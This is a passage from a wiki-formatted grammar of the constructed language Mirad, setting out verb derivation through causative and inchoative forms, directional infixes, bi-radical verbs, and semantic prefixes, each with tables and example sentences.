| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''
::* '''abbaxer'''....''to pat'' → '''ifabbaxer'''....''to fondle, to caress''
::* '''axler'''....''to act'' → '''ifaxler'''....''to have fun''
::* '''bier'''....''to take'' → '''ifbier'''....''to embrace, to adopt, to foster''
::* '''buer'''....''to give'' → '''ifbuer'''....''to donate, to gift''
::* '''bikuer'''....''to care for'' → '''ifbikuer'''....''to foster''
::* '''bixer'''....''to pull'' → '''ifbixer'''....''to entice, to tempt, to seduce''
::* '''ebdaler'''....''to converse'' → '''ifebdaler'''....''to chitchat''
::* '''mimparer'''....''to go boating'' → '''ifmimparer'''....''to go yachting''
::* '''tayoxer'''....''to touch'' → '''iftayoxer'''....''to tickle, to titillate''
::* '''teaxer'''....''to look at'' → '''ifteaxer'''....''to ogle, to feast one's eyes on, to moon over''
::* '''telier'''....''to eat'' → '''iftelier'''....''to feast on''
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll, to jaunt, to promenade''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''
::* '''teaxer'''....''to look at'' → '''ufteaxer'''....''to scorn, to disdain''
::* '''teuber'''....''to make an expression'' → '''ufteuber'''....''to frown''
::* '''teuder'''....''to shout'' → '''ufteuder'''....''to grouse, to gripe''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''agser'''....''to grow'' → '''fiagser'''....''to thrive, to flourish''
::* '''axler'''....''to act'' → '''fiaxler'''....''to behave well''
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''deler'''....''to declare'' → '''fideler'''....''to approve''
::* '''datiber'''....''to host'' → '''fidatiber'''....''to welcome''
::* '''diber'''....''to manage'' → '''fidiber'''....''to husband''
::* '''doler'''....''to be silent'' → '''fidoler'''....''to be discrete''
::* '''duer'''....''to suggest'' → '''fiduer'''....''to recommend''
::* '''ebexler'''....''to interact'' → '''fiebexler'''....''to get along well''
::* '''exer'''....''to operate'' → '''fiexer'''....''to operate smoothly''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''ijer'''....''to start'' → '''fiijer'''....''to get a good start''
::* '''nagser'''....''to measure'' → '''finagser'''....''to adapt''
::* '''napxer'''....''to arrange'' → '''finapxer'''....''to tidy up, to neaten''
::* '''ojfer'''....''to wish'' → '''fiojfer'''....''to wish well''
::* '''per'''....''to go'' → '''fiper'''....''to fare well, to prosper''
::* '''teaser'''....''to seem'' → '''fiteaser'''....''to look nice''
::* '''teaxer'''....''to look at'' → '''fiteaxer'''....''to admire''
::* '''tejer'''....''to live'' → '''fitejer'''....''to thrive''
::* '''teuder'''....''to shout'' → '''fiteuder'''....''to acclaim, to laud''
::* '''tosuer'''....''to make feel'' → '''fitosuer'''....''to exhilarate''
::* '''tujer'''....''to sleep'' → '''fitujer'''....''to sleep soundly''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''

=== Expressing Bad Actions with '''fu-''' ===
::* '''axler'''....''to act'' → '''fuaxler'''....''to misbehave''
::* '''bekuer'''....''to treat'' → '''fubekuer'''....''to mistreat, to maltreat''
::* '''bexer'''....''to hold'' → '''fubexer'''....''to fumble''
::* '''bikuer'''....''to care for'' → '''fubikuer'''....''to neglect''
::* '''daler'''....''to talk'' → '''fudaler'''....''to speak ill of, to badmouth''
::* '''deler'''....''to declare'' → '''fudeler''''....''to denounce''
::* '''diber'''....''to manage'' → '''fudiber'''....''to mismanage, to maladminister''
::* '''doler'''....''to be quiet'' → '''fudoler'''....''to sulk''
::* '''dezgonuer'''....''to cast'' → '''fudezgonuer'''....''to miscast''
::* '''exer'''....''to function'' → '''fuexer'''....''to malfunction''
::* '''fer'''....''to want'' → '''fufer'''....''to wish ill''
::* '''fyiduer'''....''to advise'' → '''fufyiduer'''....''to ill-advise''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''abbixer'''....''to attract'' → '''&lt;u&gt;az&lt;/u&gt;abbixer'''....''to infatuate''
::* '''aluer'''....''to blow'' → '''&lt;u&gt;az&lt;/u&gt;aluer'''....''to huff''
::* '''basrer'''....''to shake'' → '''&lt;u&gt;az&lt;/u&gt;basrer'''....''to convulse''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;az&lt;/u&gt;bexer'''....''to clutch''
::* '''birer'''....''to grab''' → '''&lt;u&gt;az&lt;/u&gt;birer'''....''to seize''
::* '''buxer'''....''to push''' → '''&lt;u&gt;az&lt;/u&gt;buxer'''....''to prod''
::* '''byexer'''....''to strike'' → '''&lt;u&gt;az&lt;/u&gt;byexer'''....''to stomp, to hit hard''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
::* '''fer'''....''to want'' → '''&lt;u&gt;az&lt;/u&gt;fer'''....''to crave''
::* '''fuyevder'''....''to criticize'' → '''&lt;u&gt;az&lt;/u&gt;fuyevder'''....''to lambaste''
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''

=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
